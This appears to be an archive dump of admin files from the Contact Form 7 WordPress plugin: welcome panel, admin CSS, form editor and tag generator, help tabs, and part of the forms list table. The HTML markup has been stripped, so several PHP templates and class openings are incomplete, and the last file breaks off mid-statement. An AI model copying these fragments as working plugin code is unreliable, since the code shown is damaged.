includes/welcome-panel.php000064400000020715147207001670011624 0ustar00', esc_attr( $this->icon() ) ); $title = sprintf( '

%1$s %2$s

', $icon, $this->title() ); $content = $this->content(); if ( is_array( $content ) ) { $content = implode( "\n\n", $content ); } $content = wp_kses_post( $content ); $content = wptexturize( $content ); $content = convert_chars( $content ); $content = wpautop( $content ); echo "\n"; echo '
'; echo $title; echo $content; echo '
'; } } class WPCF7_WelcomePanelColumn_AntiSpam extends WPCF7_WelcomePanelColumn { protected function icon() { return 'shield'; } protected function title() { return esc_html( __( "Getting spammed? You have protection.", 'contact-form-7' ) ); } protected function content() { return array( esc_html( __( "Spammers target everything; your contact forms are not an exception. Before you get spammed, protect your contact forms with the powerful anti-spam features Contact Form 7 provides.", 'contact-form-7' ) ), sprintf( /* translators: links labeled 1: 'Akismet', 2: 'reCAPTCHA', 3: 'disallowed list' */ esc_html( __( 'Contact Form 7 supports spam-filtering with %1$s. Intelligent %2$s blocks annoying spambots. Plus, using %3$s, you can block messages containing specified keywords or those sent from specified IP addresses.', 'contact-form-7' ) ), wpcf7_link( __( 'https://contactform7.com/spam-filtering-with-akismet/', 'contact-form-7' ), __( 'Akismet', 'contact-form-7' ) ), wpcf7_link( __( 'https://contactform7.com/recaptcha/', 'contact-form-7' ), __( 'reCAPTCHA', 'contact-form-7' ) ), wpcf7_link( __( 'https://contactform7.com/comment-blacklist/', 'contact-form-7' ), __( 'disallowed list', 'contact-form-7' ) ) ), ); } } class WPCF7_WelcomePanelColumn_Donation extends WPCF7_WelcomePanelColumn { protected function icon() { return 'megaphone'; } protected function title() { return esc_html( __( "Contact Form 7 needs your support.", 'contact-form-7' ) ); } protected function content() { return array( esc_html( __( "It is hard to continue development and support for this plugin without contributions from users like you.", 'contact-form-7' ) ), sprintf( /* translators: %s: link labeled 'making a donation' */ esc_html( __( 'If you enjoy using Contact Form 7 and find it useful, please consider %s.', 'contact-form-7' ) ), wpcf7_link( __( 'https://contactform7.com/donate/', 'contact-form-7' ), __( 'making a donation', 'contact-form-7' ) ) ), esc_html( __( "Your donation will help encourage and support the plugin’s continued development and better user support.", 'contact-form-7' ) ), ); } } class WPCF7_WelcomePanelColumn_Flamingo extends WPCF7_WelcomePanelColumn { protected function icon() { return 'editor-help'; } protected function title() { return esc_html( __( "Before you cry over spilt mail…", 'contact-form-7' ) ); } protected function content() { return array( esc_html( __( "Contact Form 7 does not store submitted messages anywhere. Therefore, you may lose important messages forever if your mail server has issues or you make a mistake in mail configuration.", 'contact-form-7' ) ), sprintf( /* translators: %s: link labeled 'Flamingo' */ esc_html( __( 'Install a message storage plugin before this happens to you. %s saves all messages through contact forms into the database. Flamingo is a free WordPress plugin created by the same author as Contact Form 7.', 'contact-form-7' ) ), wpcf7_link( __( 'https://contactform7.com/save-submitted-messages-with-flamingo/', 'contact-form-7' ), __( 'Flamingo', 'contact-form-7' ) ) ), ); } } class WPCF7_WelcomePanelColumn_Integration extends WPCF7_WelcomePanelColumn { protected function icon() { return 'superhero-alt'; } protected function title() { return esc_html( __( "You have strong allies to back you up.", 'contact-form-7' ) ); } protected function content() { return array( sprintf( /* translators: 1: link labeled 'Brevo' */ esc_html( __( 'Your contact forms will become more powerful and versatile by integrating them with external APIs. With CRM and email marketing services, you can build your own contact lists (%1$s).', 'contact-form-7' ) ), wpcf7_link( __( 'https://contactform7.com/sendinblue-integration/', 'contact-form-7' ), __( 'Brevo', 'contact-form-7' ) ) ), sprintf( /* translators: 1: link labeled 'reCAPTCHA', 2: link labeled 'Stripe' */ esc_html( __( 'With help from cloud-based machine learning, anti-spam services will protect your forms (%1$s). Even payment services are natively supported (%2$s).', 'contact-form-7' ) ), wpcf7_link( __( 'https://contactform7.com/recaptcha/', 'contact-form-7' ), __( 'reCAPTCHA', 'contact-form-7' ) ), wpcf7_link( __( 'https://contactform7.com/stripe-integration/', 'contact-form-7' ), __( 'Stripe', 'contact-form-7' ) ) ), ); } } function wpcf7_welcome_panel() { $columns = array(); $flamingo_is_active = defined( 'FLAMINGO_VERSION' ); $sendinblue_is_active = false; if ( class_exists( 'WPCF7_Sendinblue' ) and $sendinblue = WPCF7_Sendinblue::get_instance() ) { $sendinblue_is_active = $sendinblue->is_active(); } if ( $flamingo_is_active and $sendinblue_is_active ) { $columns[] = new WPCF7_WelcomePanelColumn_AntiSpam(); $columns[] = new WPCF7_WelcomePanelColumn_Donation(); } elseif ( $flamingo_is_active ) { $columns[] = new WPCF7_WelcomePanelColumn_Integration(); $columns[] = new WPCF7_WelcomePanelColumn_AntiSpam(); } elseif ( $sendinblue_is_active ) { $columns[] = new WPCF7_WelcomePanelColumn_Flamingo(); $columns[] = new WPCF7_WelcomePanelColumn_AntiSpam(); } else { $columns[] = new WPCF7_WelcomePanelColumn_Flamingo(); $columns[] = new WPCF7_WelcomePanelColumn_Integration(); } $classes = 'wpcf7-welcome-panel'; $vers = (array) get_user_meta( get_current_user_id(), 'wpcf7_hide_welcome_panel_on', true ); if ( wpcf7_version_grep( wpcf7_version( 'only_major=1' ), $vers ) ) { $classes .= ' hidden'; } ?>
print_content(); } ?>
id ) { return $screen_settings; } $vers = (array) get_user_meta( get_current_user_id(), 'wpcf7_hide_welcome_panel_on', true ); $checkbox_id = 'wpcf7-welcome-panel-show'; $checked = ! in_array( wpcf7_version( 'only_major=1' ), $vers ); $checkbox = sprintf( '', wpcf7_format_atts( array( 'id' => $checkbox_id, 'type' => 'checkbox', 'checked' => $checked, ) ) ); $screen_settings .= sprintf( '
%1$s
', esc_html( __( 'Welcome panel', 'contact-form-7' ) ), esc_attr( $checkbox_id ), $checkbox, esc_html( __( 'Show welcome panel', 'contact-form-7' ) ) ); return $screen_settings; } includes/css/styles-rtl.css000064400000002174147207001670012006 0ustar00/* * Tabs */ #contact-form-editor-tabs { padding: 9px 10px 0 15px; } /* * Form Tab */ .tag-generator-panel { text-align: right; } .tag-generator-dialog > .close-button { right: auto; left: 8px; } form.tag-generator-panel[data-version="1"] { .control-box > fieldset > legend { border: 1px solid #dfdfdf; border-right: 4px solid #00a0d2; } .insert-box input.tag { float: right; } .insert-box .submitbox input[type="button"] { float: left; } } /* * Mail Tab */ .contact-form-editor-box-mail span.mailtag { margin: 0 4px 0 0; } /* * Welcome Panel */ .wpcf7-welcome-panel .welcome-panel-close { left: 10px; right: auto; padding: 10px 21px 10px 15px; } .wpcf7-welcome-panel .welcome-panel-close::before { right: 0; left: auto; } .wpcf7-welcome-panel .welcome-panel-content { margin-right: 13px; } .wpcf7-welcome-panel .welcome-panel-column { float: right; padding: 0 0 0 2%; } /* * Integration */ .card { border-left: 1px solid #e5e5e5; border-right: 4px solid #e5e5e5; } .card img.icon { float: right; margin: 8px -8px 8px 8px; } .card h2.title { float: right; } .card .infobox { float: left; } includes/css/styles.css000064400000023763147207001670011216 0ustar00#titlediv .inside p.description { margin: 8px 2px 0; } #titlediv .inside p.description label { cursor: pointer; } span.shortcode { display: block; margin: 2px 0; } span.shortcode.old { background: #777; color: #fff; } span.shortcode input { font-size: 12px; border: none; box-shadow: none; padding: 4px 8px; margin: 0; } #wpcf7-contact-form-list-table span.shortcode input, #wpcf7-contact-form-editor span.shortcode input { background: transparent; } #wpcf7-contact-form-list-table span.shortcode input { color: #444; } #wpcf7-contact-form-editor span.shortcode input { color: #fff; } #submitpost input.copy { margin-bottom: 10px; } #submitpost input.delete { padding: 0; margin: 0; border: none; cursor: pointer; background: inherit; color: #a00; } #submitpost input.delete:hover { color: #dc3232; /* Red */ } #submitpost input.delete:focus { outline: thin dotted; } .postbox-container .postbox h3 { border-bottom: 1px solid transparent; } div.config-error, span.config-error, ul.config-error { color: #444; font-style: normal; font-size: 13px; } ul.config-error { margin: 2px 0; } ul.config-error li { list-style: none; padding: 2px 2px; margin: 0; } #misc-publishing-actions .config-error { line-height: 2; } [data-config-field][aria-invalid="true"] { border-color: #dc3232; } #contact-form-editor-tabs li a .icon-in-circle, #contact-form-editor .config-error .icon-in-circle, .wp-list-table .config-error .icon-in-circle, .icon-in-circle { display: inline-block; vertical-align: baseline; margin: 1px 6px 0; padding: 0 5px; min-width: 7px; height: 17px; border-radius: 11px; background-color: #ca4a1f; color: #fff; font-size: 12px; font-weight: bold; line-height: 17px; text-align: center; z-index: 26; } /* * Tabs */ #contact-form-editor-tabs { border-bottom: 1px solid #aaa; padding: 9px 15px 0 10px; margin: 0; } #contact-form-editor-tabs li { display: inline-block; list-style: none; border: 1px solid #ccc; border-bottom: 1px solid #aaa; padding: 0; margin: 0 4px -1px; background-color: #e4e4e4; } #contact-form-editor-tabs li.active { border-top: 1px solid #aaa; border-right: 1px solid #aaa; border-left: 1px solid #aaa; border-bottom: 1px solid #f5f5f5; background-color: #f5f5f5; } #contact-form-editor-tabs li a { padding: 6px 10px; font-size: 14px; font-weight: normal; line-height: 30px; color: #333; text-decoration: none; } #contact-form-editor-tabs li.active a { color: #000; font-size: 14px; font-weight: bold; } #contact-form-editor-tabs li a:hover { color: #000; } #contact-form-editor .contact-form-editor-panel > div.config-error { margin-bottom: 1.4em; } #contact-form-editor-tabs li.active a .icon-in-circle { display: none; } #contact-form-editor .contact-form-editor-panel h2 { font-size: 18px; font-weight: 400; line-height: 24px; margin: 8px 0; padding: 0; } #contact-form-editor .contact-form-editor-panel { background-color: #f5f5f5; border: 1px solid #aaa; border-top: none; padding: 16px; } #contact-form-editor .form-table th { width: 100px; } #contact-form-editor .contact-form-editor-panel fieldset legend { line-height: 1.5; margin: .6em 0 .4em; } /* * Form Tab */ #tag-generator-list button { font-size: 12px; height: 26px; line-height: 24px; margin: 2px; padding: 0 8px 1px; } .tag-generator-dialog { padding: 12px; border: 1px solid #c3c4c7; box-shadow: 0 1px 1px rgba( 0, 0, 0, 0.04 ); min-height: 720px; /* needed for Safari */ } .tag-generator-dialog::backdrop { background: rgb( 0 0 0 / 50% ); } .tag-generator-dialog > .close-button { position: absolute; top: 8px; right: 8px; } form.tag-generator-panel { display: flex; flex-direction: column; height: 720px; width: 720px; max-height: 100%; max-width: 100%; margin-block-end: 0; } form.tag-generator-panel[data-version="2"] { &:invalid .mail-tag-tip { display: none; } .description-box { box-sizing: border-box; flex: none; margin-inline: -12px; padding-inline: 12px; border-bottom: 1px solid #dfdfdf; } .control-box { box-sizing: border-box; flex: auto; display: flex; flex-direction: column; gap: 12px 0; overflow: scroll; } .control-box > fieldset { margin-block: 8px; margin-inline-start: 10em; line-height: 2.25; } .control-box > fieldset > legend { font-weight: bolder; margin-block: 8px; margin-inline-start: -10em; line-height: 1.25; } .control-box input[type="text"] { width: 20rem; max-width: 88%; } .control-box input[type="number"] { width: 8rem; max-width: 44%; } .control-box textarea { height: 12ex; width: 20rem; max-width: 88%; } .control-box select { width: 20rem; max-width: 88%; } .control-box input:invalid, .control-box textarea:invalid { background-color: #ffe9de; } .insert-box { box-sizing: border-box; flex: none; margin-block-end: -12px; margin-inline: -12px; padding-block: 24px 12px; padding-inline: 12px; background-color: #fcfcfc; border-top: 1px solid #dfdfdf; } .insert-box .flex-container { display: flex; } .insert-box .flex-container > [data-tag-part="tag"] { flex: auto; margin-inline-end: 8px; } .insert-box .mail-tag-tip::before { font: 1.2rem dashicons; content: "\f348"; color: #646970; padding-inline-end: 4px; vertical-align: top; } } form.tag-generator-panel[data-version="1"] { .control-box { padding: 0; margin: 0; overflow: auto; flex-grow: 1; } .control-box > fieldset > legend { border: 1px solid #dfdfdf; border-left: 4px solid #00a0d2; background: #f7fcfe; padding: 4px 12px; margin: 4px 0; line-height: 1.4em; width: 100%; box-sizing: border-box; } table { width: 100%; } table.form-table th { width: 120px; padding: 4px 10px 4px 0; font-size: 13px; } table.form-table td { padding: 4px 10px; font-size: 13px; } .control-box input.oneline { width: 200px; } .control-box input.large-text { width: 400px; } .control-box textarea.values { width: 200px; height: 6em; } .control-box input[type="number"], .control-box input[type="date"] { width: 88px; } .control-box table caption { text-align: left; font-size: 110%; font-weight: bold; color: #777; margin: 10px 0 5px; } .control-box table.form-table td label { line-height: 1.1em; } .control-box table.form-table td label .description { line-height: 1.4em; } .insert-box { margin: 0 -15px -15px; padding: 8px 16px; background-color: #fcfcfc; border-top: 1px solid #dfdfdf; overflow: auto; } .insert-box input.tag { width: 510px; float: left; background-color: transparent; box-shadow: none; } .insert-box .submitbox { padding: 0; } .insert-box .submitbox input[type="button"] { float: right; } .insert-box .description label { cursor: text; } } /* * Mail Tab */ .contact-form-editor-box-mail span.mailtag { display: inline-block; margin: 0 0 0 4px; padding: 1px 2px; cursor: pointer; color: #000; } .contact-form-editor-box-mail span.mailtag.used { color: #666; } .contact-form-editor-box-mail span.mailtag.unused { font-weight: bold; } /* * Messages Tab */ #messages-panel p.description { margin: 5px 0 10px; } /* * Tabs for integration modules */ #ctct-panel table tr.inactive ~ tr, #sendinblue-panel table tr.inactive ~ tr { display: none; } #ctct-panel .dashicons, #sendinblue-panel .dashicons { text-decoration: none; } #ctct-panel td p, #sendinblue-panel td p { margin-top: 12px; } /* * List Table */ .fixed .column-title { width: 38%; } .fixed .column-shortcode { width: 38%; } /* * Welcome Panel */ .wpcf7-welcome-panel { position: relative; overflow: auto; margin: 16px 0; padding: 23px 10px 0; border: 1px solid #c3c4c7; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); background: #fff; font-size: 13px; line-height: 1.7; } .wpcf7-welcome-panel h3 { font-size: 16px; font-weight: 600; line-height: 2.1em; margin: 1em 0 1.2em; } .wpcf7-welcome-panel h3 .dashicons { position: relative; top: -2px; display: inline-block; width: 60px; color: #575757; font-size: 40px; } .wpcf7-welcome-panel p { color: #646970; } .wpcf7-welcome-panel p a { font-weight: bold; } .wpcf7-welcome-panel .welcome-panel-close { position: absolute; z-index: 2; top: 10px; right: 10px; padding: 10px 15px 10px 21px; font-size: 13px; line-height: 1.23076923; /* Chrome rounding, needs to be 16px equivalent */ text-decoration: none; } .wpcf7-welcome-panel .welcome-panel-close::before { background: 0 0; color: #787c82; content: "\f153"; display: block; font: normal 16px/20px dashicons; speak: never; height: 20px; text-align: center; width: 20px; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; position: absolute; top: 8px; left: 0; transition: all .1s ease-in-out; } .wpcf7-welcome-panel .welcome-panel-content { display: block; margin-left: 13px; max-width: 1500px; min-height: auto; } .wpcf7-welcome-panel .welcome-panel-column-container { clear: both; position: relative; } .wpcf7-welcome-panel .welcome-panel-column { display: block; width: 48%; min-width: 200px; float: left; padding: 0 2% 0 0; margin: 0 0 1em 0; } @media screen and (max-width: 870px) { .wpcf7-welcome-panel .welcome-panel-column { display: block; float: none; width: 100%; } } .wpcf7-welcome-panel .welcome-panel-column p { margin-top: 7px; color: #3c434a; } /* * Integration */ .card { background: #fff none repeat scroll 0 0; border: 1px solid #e5e5e5; border-left: 4px solid #e5e5e5; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); margin-top: 20px; max-width: 520px; min-width: 255px; padding: 0.7em 2em 1em; position: relative; } .card.active { border-color: #00a0d2; } .card img.icon { float: left; margin: 8px 8px 8px -8px; } .card h2.title { float: left; max-width: 240px; font-size: 1.3em; font-weight: 600; } .card .infobox { float: right; font-size: 13px; color: #666; margin: 1em; line-height: 1.5; max-width: 240px; } .card .inside .form-table th { padding: 15px 10px 15px 0; width: 160px; } .card .inside .form-table td { padding: 10px 10px; } .card .checkboxes li { margin: 0; } includes/editor.php000064400000023713147207001670010363 0ustar00contact_form = $contact_form; } public function add_panel( $panel_id, $title, $callback ) { if ( wpcf7_is_name( $panel_id ) ) { $this->panels[$panel_id] = array( 'title' => $title, 'callback' => $callback, ); } } public function display() { if ( empty( $this->panels ) ) { return; } $active_panel_id = trim( $_GET['active-tab'] ?? '' ); if ( ! array_key_exists( $active_panel_id, $this->panels ) ) { $active_panel_id = array_key_first( $this->panels ); } echo ''; foreach ( $this->panels as $panel_id => $panel ) { $active = $panel_id === $active_panel_id; echo sprintf( '
', wpcf7_format_atts( array( 'id' => $panel_id, 'class' => 'contact-form-editor-panel' . ( $active ? ' active' : '' ), ) ) ); if ( is_callable( $panel['callback'] ) ) { call_user_func( $panel['callback'], $this->contact_form ); } echo '
'; } } } function wpcf7_editor_panel_form( $post ) { $desc_link = wpcf7_link( __( 'https://contactform7.com/editing-form-template/', 'contact-form-7' ), __( 'Editing form template', 'contact-form-7' ) ); $description = __( "You can edit the form template here. For details, see %s.", 'contact-form-7' ); $description = sprintf( esc_html( $description ), $desc_link ); ?>

print_buttons(); ?>
'; wpcf7_editor_box_mail( $post, array( 'id' => 'wpcf7-mail-2', 'name' => 'mail_2', 'title' => __( 'Mail (2)', 'contact-form-7' ), 'use' => __( 'Use Mail (2)', 'contact-form-7' ), ) ); } function wpcf7_editor_box_mail( $post, $options = '' ) { $options = wp_parse_args( $options, array( 'id' => 'wpcf7-mail', 'name' => 'mail', 'title' => __( 'Mail', 'contact-form-7' ), 'use' => null, ) ); $id = esc_attr( $options['id'] ); $mail = wp_parse_args( $post->prop( $options['name'] ), array( 'active' => false, 'recipient' => '', 'sender' => '', 'subject' => '', 'body' => '', 'additional_headers' => '', 'attachments' => '', 'use_html' => false, 'exclude_blank' => false, ) ); ?>

%3$s', wpcf7_format_atts( array( 'for' => sprintf( '%s-active', $id ), ) ), wpcf7_format_atts( array( 'type' => 'checkbox', 'id' => sprintf( '%s-active', $id ), 'name' => sprintf( '%s[active]', $id ), 'data-config-field' => '', 'data-toggle' => sprintf( '%s-fieldset', $id ), 'value' => '1', 'checked' => $mail['active'], ) ), esc_html( $options['use'] ) ); echo sprintf( '

%s

', esc_html( __( "Mail (2) is an additional mail template often used as an autoresponder.", 'contact-form-7' ) ) ); } ?>
'; echo esc_html( __( "In the following fields, you can use these mail-tags:", 'contact-form-7' ) ); echo '
'; $post->suggest_mail_tags( $options['name'] ); ?>

$arr ) { $field_id = sprintf( 'wpcf7-message-%s', strtr( $key, '_', '-' ) ); $field_name = sprintf( 'wpcf7-messages[%s]', $key ); ?>

'1', ) ); $this->panels[$id] = array( 'title' => $title, 'content' => 'tag-generator-panel-' . $id, 'options' => $options, 'callback' => $callback, ); if ( version_compare( $options['version'], '2', '<' ) ) { $message = sprintf( /* translators: 1: version, 2: tag generator title */ __( 'Use of tag generator instances older than version 2 is deprecated. Version %1$s instance (%2$s) detected.', 'contact-form-7' ), $options['version'], $title ); wp_trigger_error( __METHOD__, $message, E_USER_DEPRECATED ); } return true; } /** * Renders form-tag generator calling buttons. */ public function print_buttons() { echo ''; foreach ( (array) $this->panels as $panel ) { echo sprintf( '', wpcf7_format_atts( array( 'type' => 'button', 'data-taggen' => 'open-dialog', 'data-target' => $panel['content'], 'title' => sprintf( /* translators: %s: title of form-tag */ __( 'Form-tag Generator: %s', 'contact-form-7' ), $panel['title'] ), ) ), esc_html( $panel['title'] ) ); } echo ''; } /** * Renders form-tag generator dialog panels (hidden until called). */ public function print_panels( WPCF7_ContactForm $contact_form ) { foreach ( (array) $this->panels as $id => $panel ) { $callback = $panel['callback']; $options = array_merge( $panel['options'], array( 'id' => $id, 'title' => $panel['title'], 'content' => $panel['content'], ) ); if ( is_callable( $callback ) ) { echo "\n"; echo sprintf( '', esc_attr( $options['content'] ) ); echo "\n"; echo sprintf( '', wpcf7_format_atts( array( 'class' => 'close-button', 'title' => __( 'Close this dialog box', 'contact-form-7' ), 'data-taggen' => 'close-dialog', ) ), esc_html( __( 'Close', 'contact-form-7' ) ) ); echo "\n"; echo sprintf( '
', wpcf7_format_atts( array( 'method' => 'dialog', 'class' => 'tag-generator-panel', 'data-id' => $options['id'], 'data-version' => $options['version'], ) ) ); echo "\n"; call_user_func( $callback, $contact_form, $options ); echo "\n"; echo '
'; echo "\n"; echo '
'; echo "\n\n"; } } } } /** * Class helps to implement a form-tag generator content. */ class WPCF7_TagGeneratorGenerator { private $key = ''; /** * The constructor. */ public function __construct( $key ) { $this->key = $key; } /** * Returns a unique reference ID. */ public function ref( $suffix = '' ) { $ref = sprintf( '%s-%s', $this->key, $suffix ); $ref = strtolower( $ref ); $ref = preg_replace( '/[^0-9a-z-]/', '', $ref ); $ref = preg_replace( '/[-]+/', '-', $ref ); $ref = trim( $ref, '-' ); return $ref; } /** * Calls one of the template methods. */ public function print( $part, $options = '' ) { if ( is_callable( array( $this, $part ) ) ) { call_user_func( array( $this, $part ), $options ); } } /** * Template method for field type field. */ private function field_type( $options = '' ) { $options = wp_parse_args( $options, array( 'with_required' => false, 'select_options' => array(), ) ); ?>

'', ) ); ?>

'number', 'title' => __( 'Length', 'contact-form-7' ), 'min_option' => 'minlength:', 'max_option' => 'maxlength:', 'accept_minus' => false, ) ); ?>
'text', 'title' => __( 'Default value', 'contact-form-7' ), 'with_placeholder' => false, 'use_content' => false, ) ); ?>
', wpcf7_format_atts( array( 'type' => $options['type'], 'data-tag-part' => $options['use_content'] ? 'content' : 'value', 'aria-labelledby' => $this->ref( 'value-legend' ), ) ) ); ?>
false, 'use_label_element' => false, ) ); ?>
%2$s', wpcf7_format_atts( array( 'id' => $this->ref( 'selectable-values-description' ), ) ), esc_html( __( "One item per line.", 'contact-form-7' ) ) ); ?>
%2$s', wpcf7_format_atts( array( 'required' => true, 'data-tag-part' => 'value', 'aria-labelledby' => $this->ref( 'selectable-values-legend' ), 'aria-describedby' => $this->ref( 'selectable-values-description' ), ) ), esc_html( __( "Option 1\nOption 2\nOption 3", 'contact-form-7' ) ) ); ?>
%2$s', wpcf7_format_atts( array( 'type' => 'checkbox', 'checked' => 'checked' === $options['first_as_label'], 'data-tag-part' => 'option', 'data-tag-option' => 'first_as_label', ) ), esc_html( __( "Use the first item as a label.", 'contact-form-7' ) ) ); ?>
%2$s', wpcf7_format_atts( array( 'type' => 'checkbox', 'checked' => 'checked' === $options['use_label_element'], 'data-tag-part' => 'option', 'data-tag-option' => 'use_label_element', ) ), esc_html( __( "Wrap each item with a label element.", 'contact-form-7' ) ) ); ?>
', wpcf7_format_atts( array( 'type' => 'text', 'class' => 'code', 'readonly' => true, 'onfocus' => 'this.select();', 'data-tag-part' => 'tag', 'aria-label' => __( "The form-tag to be inserted into the form template", 'contact-form-7' ), ) ) ); ?>
' ); ?>

add( $name, $title, $callback, $options ); } includes/help-tabs.php000064400000015534147207001670010756 0ustar00screen = $screen; } public function set_help_tabs( $screen_type ) { switch ( $screen_type ) { case 'list': $this->screen->add_help_tab( array( 'id' => 'list_overview', 'title' => __( 'Overview', 'contact-form-7' ), 'content' => $this->content( 'list_overview' ), ) ); $this->screen->add_help_tab( array( 'id' => 'list_available_actions', 'title' => __( 'Available Actions', 'contact-form-7' ), 'content' => $this->content( 'list_available_actions' ), ) ); $this->sidebar(); return; case 'edit': $this->screen->add_help_tab( array( 'id' => 'edit_overview', 'title' => __( 'Overview', 'contact-form-7' ), 'content' => $this->content( 'edit_overview' ), ) ); $this->screen->add_help_tab( array( 'id' => 'edit_form_tags', 'title' => __( 'Form-tags', 'contact-form-7' ), 'content' => $this->content( 'edit_form_tags' ), ) ); $this->screen->add_help_tab( array( 'id' => 'edit_mail_tags', 'title' => __( 'Mail-tags', 'contact-form-7' ), 'content' => $this->content( 'edit_mail_tags' ), ) ); $this->sidebar(); return; case 'integration': $this->screen->add_help_tab( array( 'id' => 'integration_overview', 'title' => __( 'Overview', 'contact-form-7' ), 'content' => $this->content( 'integration_overview' ), ) ); $this->sidebar(); return; } } private function content( $name ) { $content = array(); $content['list_overview'] = '

' . __( "On this screen, you can manage contact forms provided by Contact Form 7. You can manage an unlimited number of contact forms. Each contact form has a unique ID and Contact Form 7 shortcode ([contact-form-7 ...]). To insert a contact form into a post or a text widget, insert the shortcode into the target.", 'contact-form-7' ) . '

'; $content['list_available_actions'] = '

' . __( "Hovering over a row in the contact forms list will display action links that allow you to manage your contact form. You can perform the following actions:", 'contact-form-7' ) . '

'; $content['list_available_actions'] .= '

' . __( "Edit - Navigates to the editing screen for that contact form. You can also reach that screen by clicking on the contact form title.", 'contact-form-7' ) . '

'; $content['list_available_actions'] .= '

' . __( "Duplicate - Clones that contact form. A cloned contact form inherits all content from the original, but has a different ID.", 'contact-form-7' ) . '

'; $content['edit_overview'] = '

' . __( "On this screen, you can edit a contact form. A contact form is comprised of the following components:", 'contact-form-7' ) . '

'; $content['edit_overview'] .= '

' . __( "Title is the title of a contact form. This title is only used for labeling a contact form, and can be edited.", 'contact-form-7' ) . '

'; $content['edit_overview'] .= '

' . __( "Form is a content of HTML form. You can use arbitrary HTML, which is allowed inside a form element. You can also use Contact Form 7’s form-tags here.", 'contact-form-7' ) . '

'; $content['edit_overview'] .= '

' . __( "Mail manages a mail template (headers and message body) that this contact form will send when users submit it. You can use Contact Form 7’s mail-tags here.", 'contact-form-7' ) . '

'; $content['edit_overview'] .= '

' . __( "Mail (2) is an additional mail template that works similar to Mail. Mail (2) is different in that it is sent only when Mail has been sent successfully.", 'contact-form-7' ) . '

'; $content['edit_overview'] .= '

' . __( "In Messages, you can edit various types of messages used for this contact form. These messages are relatively short messages, like a validation error message you see when you leave a required field blank.", 'contact-form-7' ) . '

'; $content['edit_overview'] .= '

' . __( "Additional Settings provides a place where you can customize the behavior of this contact form by adding code snippets.", 'contact-form-7' ) . '

'; $content['edit_form_tags'] = '

' . __( "A form-tag is a short code enclosed in square brackets used in a form content. A form-tag generally represents an input field, and its components can be separated into four parts: type, name, options, and values. Contact Form 7 supports several types of form-tags including text fields, number fields, date fields, checkboxes, radio buttons, menus, file-uploading fields, CAPTCHAs, and quiz fields.", 'contact-form-7' ) . '

'; $content['edit_form_tags'] .= '

' . __( "While form-tags have a comparatively complex syntax, you do not need to know the syntax to add form-tags because you can use the straightforward tag generator (Generate Tag button on this screen).", 'contact-form-7' ) . '

'; $content['edit_mail_tags'] = '

' . __( "A mail-tag is also a short code enclosed in square brackets that you can use in every Mail and Mail (2) field. A mail-tag represents a user input value through an input field of a corresponding form-tag.", 'contact-form-7' ) . '

'; $content['edit_mail_tags'] .= '

' . __( "There are also special mail-tags that have specific names, but do not have corresponding form-tags. They are used to represent meta information of form submissions like the submitter’s IP address or the URL of the page.", 'contact-form-7' ) . '

'; $content['integration_overview'] = '

' . __( "On this screen, you can manage services that are available through Contact Form 7. Using API will allow you to collaborate with any services that are available.", 'contact-form-7' ) . '

'; $content['integration_overview'] .= '

' . __( "You may need to first sign up for an account with the service that you plan to use. When you do so, you would need to authorize Contact Form 7 to access the service with your account.", 'contact-form-7' ) . '

'; $content['integration_overview'] .= '

' . __( "Any information you provide will not be shared with service providers without your authorization.", 'contact-form-7' ) . '

'; if ( ! empty( $content[$name] ) ) { return $content[$name]; } } public function sidebar() { $content = '

' . __( 'For more information:', 'contact-form-7' ) . '

'; $content .= '

' . wpcf7_link( __( 'https://contactform7.com/docs/', 'contact-form-7' ), __( 'Docs', 'contact-form-7' ) ) . '

'; $content .= '

' . wpcf7_link( __( 'https://contactform7.com/faq/', 'contact-form-7' ), __( 'FAQ', 'contact-form-7' ) ) . '

'; $content .= '

' . wpcf7_link( __( 'https://contactform7.com/support/', 'contact-form-7' ), __( 'Support', 'contact-form-7' ) ) . '

'; $this->screen->set_help_sidebar( $content ); } } includes/class-contact-forms-list-table.php000064400000013323147207001670015011 0ustar00 '', 'title' => __( 'Title', 'contact-form-7' ), 'shortcode' => __( 'Shortcode', 'contact-form-7' ), 'author' => __( 'Author', 'contact-form-7' ), 'date' => __( 'Date', 'contact-form-7' ), ); return $columns; } public function __construct() { parent::__construct( array( 'singular' => 'post', 'plural' => 'posts', 'ajax' => false, ) ); } public function prepare_items() { $current_screen = get_current_screen(); $per_page = $this->get_items_per_page( 'wpcf7_contact_forms_per_page' ); $args = array( 'posts_per_page' => $per_page, 'orderby' => 'title', 'order' => 'ASC', 'offset' => ( $this->get_pagenum() - 1 ) * $per_page, ); if ( ! empty( $_REQUEST['s'] ) ) { $args['s'] = $_REQUEST['s']; } if ( ! empty( $_REQUEST['orderby'] ) ) { if ( 'title' == $_REQUEST['orderby'] ) { $args['orderby'] = 'title'; } elseif ( 'author' == $_REQUEST['orderby'] ) { $args['orderby'] = 'author'; } elseif ( 'date' == $_REQUEST['orderby'] ) { $args['orderby'] = 'date'; } } if ( ! empty( $_REQUEST['order'] ) ) { if ( 'asc' == strtolower( $_REQUEST['order'] ) ) { $args['order'] = 'ASC'; } elseif ( 'desc' == strtolower( $_REQUEST['order'] ) ) { $args['order'] = 'DESC'; } } $this->items = WPCF7_ContactForm::find( $args ); $total_items = WPCF7_ContactForm::count(); $total_pages = ceil( $total_items / $per_page ); $this->set_pagination_args( array( 'total_items' => $total_items, 'total_pages' => $total_pages, 'per_page' => $per_page, ) ); } public function get_columns() { return get_column_headers( get_current_screen() ); } protected function get_sortable_columns() { $columns = array( 'title' => array( 'title', true ), 'author' => array( 'author', false ), 'date' => array( 'date', false ), ); return $columns; } protected function get_bulk_actions() { $actions = array( 'delete' => __( 'Delete', 'contact-form-7' ), ); return $actions; } protected function column_default( $item, $column_name ) { return ''; } public function column_cb( $item ) { return sprintf( '', $this->_args['singular'], $item->id() ); } public function column_title( $item ) { $edit_link = add_query_arg( array( 'post' => absint( $item->id() ), 'action' => 'edit', ), menu_page_url( 'wpcf7', false ) ); $output = sprintf( '%3$s', esc_url( $edit_link ), esc_attr( sprintf( /* translators: %s: title of contact form */ __( 'Edit “%s”', 'contact-form-7' ), $item->title() ) ), esc_html( $item->title() ) ); $output = sprintf( '%s', $output ); if ( wpcf7_validate_configuration() and current_user_can( 'wpcf7_edit_contact_form', $item->id() ) ) { $config_validator = new WPCF7_ConfigValidator( $item ); $config_validator->restore(); if ( $count_errors = $config_validator->count_errors() ) { $error_notice = sprintf( _n( /* translators: %s: number of errors detected */ '%s configuration error detected', '%s configuration errors detected', $count_errors, 